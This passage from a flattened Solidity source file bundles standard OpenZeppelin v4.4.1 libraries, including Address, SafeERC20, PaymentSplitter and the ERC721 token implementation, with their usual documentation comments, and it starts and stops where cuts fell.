newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol // OpenZeppelin Contracts v4.4.1 (token/ERC20/utils/SafeERC20.sol) pragma solidity ^0.8.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: @openzeppelin/contracts/finance/PaymentSplitter.sol // OpenZeppelin Contracts v4.4.1 (finance/PaymentSplitter.sol) pragma solidity ^0.8.0; /** * @title PaymentSplitter * @dev This contract allows to split Ether payments among a group of accounts. The sender does not need to be aware * that the Ether will be split in this way, since it is handled transparently by the contract. * * The split can be in equal parts or in any other arbitrary proportion. The way this is specified is by assigning each * account to a number of shares. Of all the Ether that this contract receives, each account will then be able to claim * an amount proportional to the percentage of total shares they were assigned. * * `PaymentSplitter` follows a _pull payment_ model. This means that payments are not automatically forwarded to the * accounts but kept in this contract, and the actual transfer is triggered as a separate step by calling the {release} * function. * * NOTE: This contract assumes that ERC20 tokens will behave similarly to native tokens (Ether). Rebasing tokens, and * tokens that apply fees during transfers, are likely to not be supported as expected. If in doubt, we encourage you * to run tests before sending real value to this contract. */ contract PaymentSplitter is Context { event PayeeAdded(address account, uint256 shares); event PaymentReleased(address to, uint256 amount); event ERC20PaymentReleased(IERC20 indexed token, address to, uint256 amount); event PaymentReceived(address from, uint256 amount); uint256 private _totalShares; uint256 private _totalReleased; mapping(address => uint256) private _shares; mapping(address => uint256) private _released; address[] private _payees; mapping(IERC20 => uint256) private _erc20TotalReleased; mapping(IERC20 => mapping(address => uint256)) private _erc20Released; /** * @dev Creates an instance of `PaymentSplitter` where each account in `payees` is assigned the number of shares at * the matching position in the `shares` array. * * All addresses in `payees` must be non-zero. Both arrays must have the same non-zero length, and there must be no * duplicates in `payees`. */ constructor(address[] memory payees, uint256[] memory shares_) payable { require(payees.length == shares_.length, "PaymentSplitter: payees and shares length mismatch"); require(payees.length > 0, "PaymentSplitter: no payees"); for (uint256 i = 0; i < payees.length; i++) { _addPayee(payees[i], shares_[i]); } } /** * @dev The Ether received will be logged with {PaymentReceived} events. Note that these events are not fully * reliable: it's possible for a contract to receive Ether without triggering this function. This only affects the * reliability of the events, and not the actual splitting of Ether. * * To learn more about this see the Solidity documentation for * https://solidity.readthedocs.io/en/latest/contracts.html#fallback-function[fallback * functions]. */ receive() external payable virtual { emit PaymentReceived(_msgSender(), msg.value); } /** * @dev Getter for the total shares held by payees. */ function totalShares() public view returns (uint256) { return _totalShares; } /** * @dev Getter for the total amount of Ether already released. */ function totalReleased() public view returns (uint256) { return _totalReleased; } /** * @dev Getter for the total amount of `token` already released. `token` should be the address of an IERC20 * contract. */ function totalReleased(IERC20 token) public view returns (uint256) { return _erc20TotalReleased[token]; } /** * @dev Getter for the amount of shares held by an account. */ function shares(address account) public view returns (uint256) { return _shares[account]; } /** * @dev Getter for the amount of Ether already released to a payee. */ function released(address account) public view returns (uint256) { return _released[account]; } /** * @dev Getter for the amount of `token` tokens already released to a payee. `token` should be the address of an * IERC20 contract. */ function released(IERC20 token, address account) public view returns (uint256) { return _erc20Released[token][account]; } /** * @dev Getter for the address of the payee number `index`. */ function payee(uint256 index) public view returns (address) { return _payees[index]; } /** * @dev Triggers a transfer to `account` of the amount of Ether they are owed, according to their percentage of the * total shares and their previous withdrawals. */ function release(address payable account) public virtual { require(_shares[account] > 0, "PaymentSplitter: account has no shares"); uint256 totalReceived = address(this).balance + totalReleased(); uint256 payment = _pendingPayment(account, totalReceived, released(account)); require(payment != 0, "PaymentSplitter: account is not due payment"); _released[account] += payment; _totalReleased += payment; Address.sendValue(account, payment); emit PaymentReleased(account, payment); } /** * @dev Triggers a transfer to `account` of the amount of `token` tokens they are owed, according to their * percentage of the total shares and their previous withdrawals. `token` must be the address of an IERC20 * contract. */ function release(IERC20 token, address account) public virtual { require(_shares[account] > 0, "PaymentSplitter: account has no shares"); uint256 totalReceived = token.balanceOf(address(this)) + totalReleased(token); uint256 payment = _pendingPayment(account, totalReceived, released(token, account)); require(payment != 0, "PaymentSplitter: account is not due payment"); _erc20Released[token][account] += payment; _erc20TotalReleased[token] += payment; SafeERC20.safeTransfer(token, account, payment); emit ERC20PaymentReleased(token, account, payment); } /** * @dev internal logic for computing the pending payment of an `account` given the token historical balances and * already released amounts. */ function _pendingPayment( address account, uint256 totalReceived, uint256 alreadyReleased ) private view returns (uint256) { return (totalReceived * _shares[account]) / _totalShares - alreadyReleased; } /** * @dev Add a new payee to the contract. * @param account The address of the payee to add. * @param shares_ The number of shares owned by the payee. */ function _addPayee(address account, uint256 shares_) private { require(account != address(0), "PaymentSplitter: account is the zero address"); require(shares_ > 0, "PaymentSplitter: shares are 0"); require(_shares[account] == 0, "PaymentSplitter: account already has shares"); _payees.push(account); _shares[account] = shares_; _totalShares = _totalShares + shares_; emit PayeeAdded(account, shares_); } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Enumerable.sol) pragma solidity ^0.8.0; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * 